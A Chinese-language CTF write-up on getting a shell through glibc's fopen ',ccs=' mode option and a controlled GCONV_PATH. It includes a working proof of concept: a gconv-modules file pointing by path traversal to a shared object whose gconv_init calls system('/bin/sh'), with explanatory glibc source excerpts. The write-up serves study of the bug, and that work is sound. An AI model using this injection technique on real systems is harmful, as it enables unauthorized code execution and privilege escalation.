code blue CTF 2019 fopen RCE 漏洞的 Writeup

原创

systemino 于 2019-11-22 19:16:47 发布 318 收藏

0x01 介绍

最近，我在打CODE BLUE CTF 2019决赛，里面有一道题目是通过fopen的第二个参数进行RCE，奇热在这篇文章我会详细说明解这道题目的方法。

首先，将下面两个文件放在/home/user目录：

```
gconv-modules
module  PAYLOAD//    INTERNAL    ../../../../../../../../home/user/payload
module  INTERNAL    PAYLOAD//    ../../../../../../../../home/user/payload


payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("/bin/sh");
  exit(0);
}
```

使用 gcc payload.c -o payload.so -shared -fPIC编译payload.c。

然后，将以下代码放在同一目录中：

```
poc.c#include <stdio.h>
#include <stdlib.h>

int main(void) {
  putenv("GCONV_PATH=.");
  FILE *fp = fopen("some_random_file", "w,ccs=payload");
}
```

编译并运行就会得到一个shell：

```
user:/home/user$ gcc poc.c -o poc
user:/home/user$ ./poc
pwned
$
```

0x02 分析

会得到shell的主要原因是GCONV_PATH和ccs=payload 根据手册可以看到，glibc fopen具有几个扩展功能：

```
Glibc notes
    The GNU C library allows the following extensions for the string
    specified in mode:

    c (since glibc 2.3.3)
           Do not make the open operation, or subsequent read and write
           operations, thread cancellation points.  This flag is ignored
           for fdopen().

    e (since glibc 2.7)
           Open the file with the O_CLOEXEC flag.  See open(2) for more
           information.  This flag is ignored for fdopen().

    m (since glibc 2.3)
           Attempt to access the file using mmap(2), rather than I/O
           system calls (read(2), write(2)).  Currently, use of mmap(2)
           is attempted only for a file opened for reading.

    x      Open the file exclusively (like the O_EXCL flag of open(2)).
           If the file already exists, fopen() fails, and sets errno to
           EEXIST.  This flag is ignored for fdopen().

    In addition to the above characters, fopen() and freopen() support
    the following syntax in mode:

        ,ccs=string

    The given string is taken as the name of a coded character set and
    the stream is marked as wide-oriented.  Thereafter, internal
    conversion functions convert I/O to and from the character set
    string.  If the ,ccs=string syntax is not specified, then the wide-
    orientation of the stream is determined by the first file operation.
    If that operation is a wide-character operation, the stream is marked
    wide-oriented, and functions to convert to the coded character set
    are loaded.
```

ccs=payload`只是指定文件的编码字符集，但是为什么会得到一个shell呢？ 看一下glibc的源代码：

```
libio/fileops.cFILE *
_IO_new_file_fopen (FILE *fp, const char *filename, const char *mode,
        int is32not64)
{
  int oflags = 0, omode;
  int read_write;
  int oprot = 0666;
  int i;
  FILE *result;
  const char *cs;
  const char *last_recognized;

...

  result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
        is32not64);

  if (result != NULL)
    {
      /* Test whether the mode string specifies the conversion.  */
      cs = strstr (last_recognized + 1, ",ccs=");
      if (cs != NULL)
  {
    /* Yep.  Load the appropriate conversions and set the orientation
       to wide.  */
    struct gconv_fcts fcts;
    struct _IO_codecvt *cc;
    char *endp = __strchrnul (cs + 5, ',');
    char *ccs = malloc (endp - (cs + 5) + 3);

    if (ccs == NULL)
      {
        int malloc_err = errno;  /* Whatever malloc failed with.  */
        (void) _IO_file_close_it (fp);
        __set_errno (malloc_err);
        return NULL;
      }

    *((char *) __mempcpy (ccs, cs + 5, endp - (cs + 5))) = '\0';
    strip (ccs, ccs);

    if (__wcsmbs_named_conv (&fcts, ccs[2] == '\0'
           ? upstr (ccs, cs + 5) : ccs) != 0)
      {
        /* Something went wrong, we cannot load the conversion modules.
     This means we cannot proceed since the user explicitly asked
     for these.  */
        (void) _IO_file_close_it (fp);
        free (ccs);
        __set_errno (EINVAL);
        return NULL;
      }
```

是因为__wcsmbs_named_conv。

wcsmbs/wcsmbsload.c

```
/* Get converters for named charset.  */
int
__wcsmbs_named_conv (struct gconv_fcts *copy, const char *name)
{
  copy->towc = __wcsmbs_getfct ("INTERNAL", name, &copy->towc_nsteps);
  if (copy->towc == NULL)
    return 1;

  copy->tomb = __wcsmbs_getfct (name, "INTERNAL", &copy->tomb_nsteps);
  if (copy->tomb == NULL)
    {
      __gconv_close_transform (copy->towc, copy->towc_nsteps);
      return 1;
    }

  return 0;
}

attribute_hidden
struct __gconv_step *
__wcsmbs_getfct (const char *to, const char *from, size_t *nstepsp)
{
  size_t nsteps;
  struct __gconv_step *result;

  if (__gconv_find_transform (to, from, &result, &nsteps, 0) != __GCONV_OK)
    /* Loading the conversion step is not possible.  */
    return NULL;

  /* Maybe it is someday necessary to allow more than one step.
     Currently this is not the case since the conversions handled here
     are from and to INTERNAL and there always is a converted for
     that.  It the directly following code is enabled the libio
     functions will have to allocate appropriate __gconv_step_data
     elements instead of only one.  */
  if (nsteps > 1)
    {
      /* We cannot handle this case.  */
      __gconv_close_transform (result, nsteps);
      result = NULL;
    }
  else
    *nstepsp = nsteps;

  return result;
}
```

iconv/gconv_db.c

```
int   __gconv_find_transform (const char *toset, const char *fromset,
      struct __gconv_step **handle, size_t *nsteps,
      int flags)
{
  const char *fromset_expand;
  const char *toset_expand;
  int result;

  /* Ensure that the configuration data is read.  */
```

```
  __gconv_load_conf ();

...

  /* See whether the names are aliases.  */
  fromset_expand = do_lookup_alias (fromset);
  toset_expand = do_lookup_alias (toset);

...

  result = find_derivation (toset, toset_expand, fromset, fromset_expand,
          handle, nsteps);

  /* Release the lock.  */
  __libc_lock_unlock (__gconv_lock);

  /* The following code is necessary since `find_derivation' will return
     GCONV_OK even when no derivation was found but the same request
     was processed before.  I.e., negative results will also be cached.  */
  return (result == __GCONV_OK
    ? (*handle == NULL ? __GCONV_NOCONV : __GCONV_OK)
    : result);
}

/* The main function: find a possible derivation from the `fromset' (either
   the given name or the alias) to the `toset' (again with alias).  */
static int
find_derivation (const char *toset, const char *toset_expand,
     const char *fromset, const char *fromset_expand,
     struct __gconv_step **handle, size_t *nsteps)
{
  struct derivation_step *first, *current, **lastp, *solution = NULL;
  int best_cost_hi = INT_MAX;
  int best_cost_lo = INT_MAX;
  int result;

...

  /* The task is to find a sequence of transformations, backed by the
     existing modules - whether builtin or dynamically loadable -,
     starting at `fromset' (or `fromset_expand') and ending at `toset'
     (or `toset_expand'), and with minimal cost.

     For computer scientists, this is a shortest path search in the
     graph where the nodes are all possible charsets and the edges are
     the transformations listed in __gconv_modules_db.

     For now we use a simple algorithm with quadratic runtime behaviour.
     A breadth-first search, starting at `fromset' and `fromset_expand'.
     The list starting at `first' contains all nodes that have been
     visited up to now, in the order in which they have been visited --
     excluding the goal nodes `toset' and `toset_expand' which get
     managed in the list starting at `solution'.
     `current' walks through the list starting at `first' and looks
     which nodes are reachable from the current node, adding them to
     the end of the list [`first' or `solution' respectively] (if
     they are visited the first time) or updating them in place (if
     they have have already been visited).
     In each node of either list, cost_lo and cost_hi contain the
     minimum cost over any paths found up to now, starting at `fromset'
```

```
      or `fromset_expand', ending at that node.  best_cost_lo and
      best_cost_hi represent the minimum over the elements of the
      `solution' list.  */
...
```

当提供编码字符集时，glibc设法提供给定字符集和内部使用的字符集之间的转换方式，有时它实际上会尝试进行广度优先搜索。

简而言之，GCONV_PATH是用于更改此转换机制的配置的环境变量：

```
iconv/gconv_conf.cstatic void
__gconv_read_conf (void)
{
  void *modules = NULL;
  size_t nmodules = 0;
  int save_errno = errno;
  size_t cnt;

  /* First see whether we should use the cache.  */
  if (__gconv_load_cache () == 0)
    {
      /* Yes, we are done.  */
      __set_errno (save_errno);
      return;
    }
...
iconv/gconv_cache.cint
__gconv_load_cache (void)
{
  int fd;
  struct stat64 st;
  struct gconvcache_header *header;

  /* We cannot use the cache if the GCONV_PATH environment variable is
     set.  */
  __gconv_path_envvar = getenv ("GCONV_PATH");
  if (__gconv_path_envvar != NULL)
    return -1;
...
```

如果可以将其GCONV_PATH设置为任意值，则可以伪造转换编码字符集的任意路径。 需要对find_derivation进行更深入地研究。

iconv/gconv_db.c

```
/* The main function: find a possible derivation from the `fromset' (either
   the given name or the alias) to the `toset' (again with alias).  */
static int
find_derivation (const char *toset, const char *toset_expand,
     const char *fromset, const char *fromset_expand,
     struct __gconv_step **handle, size_t *nsteps)
{
...

  if (solution != NULL)
    {
      /* We really found a way to do the transformation.  */

      /* Choose the best solution.  This is easy because we know that
   the solution list has at most length 2 (one for every possible
   goal node).  */
      if (solution->next != NULL)
  {
    struct derivation_step *solution2 = solution->next;

    if (solution2->cost_hi < solution->cost_hi
        || (solution2->cost_hi == solution->cost_hi
      && solution2->cost_lo < solution->cost_lo))
      solution = solution2;
  }

      /* Now build a data structure describing the transformation steps.  */
      result = gen_steps (solution, toset_expand ?: toset,
        fromset_expand ?: fromset, handle, nsteps);
    }
...

static int
gen_steps (struct derivation_step *best, const char *toset,
     const char *fromset, struct __gconv_step **handle, size_t *nsteps)
{
...
#ifndef STATIC_GCONV
    if (current->code->module_name[0] == '/')
      {
        /* Load the module, return handle for it.  */
        struct __gconv_loaded_object *shlib_handle =
    __gconv_find_shlib (current->code->module_name);

        if (shlib_handle == NULL)
    {
      failed = 1;
      break;
    }
...
```

```
iconv/gconv_dl.c
/* Open the gconv database if necessary.  A non-negative return value
   means success.  */
struct __gconv_loaded_object *
__gconv_find_shlib (const char *name)
{
...
  /* Try to load the shared object if the usage count is 0.  This
     implies that if the shared object is not loadable, the handle is
     NULL and the usage count > 0.  */
  if (found != NULL)
    {
      if (found->counter < -TRIES_BEFORE_UNLOAD)
  {
    assert (found->handle == NULL);
    found->handle = __libc_dlopen (found->name);
    if (found->handle != NULL)
      {
        found->fct = __libc_dlsym (found->handle, "gconv");
        if (found->fct == NULL)
    {
      /* Argh, no conversion function.  There is something
                     wrong here.  */
      __gconv_release_shlib (found);
      found = NULL;
    }
        else
    {
      found->init_fct = __libc_dlsym (found->handle, "gconv_init");
      found->end_fct = __libc_dlsym (found->handle, "gconv_end");
...
```

可以看到__libc_dlopen和__libc_dlsym！最后发现glibc大量使用动态库来实现编码转换，而我的PoC就是利用了这种机制。

0x03 总结

其实这个洞在现实中是难以利用的，有两个原因：

1. 实际上，在任何情况下，攻击者都无法控制fopen的第二个参数，这里几乎一直是一个常数。

2. GCONV_PATH被视为危险环境变量LD_PRELOAD，实际上，glibc已经将其抛弃了。

但是，尽管如此，也可能在与iconv相关的操作中使用此漏洞机制。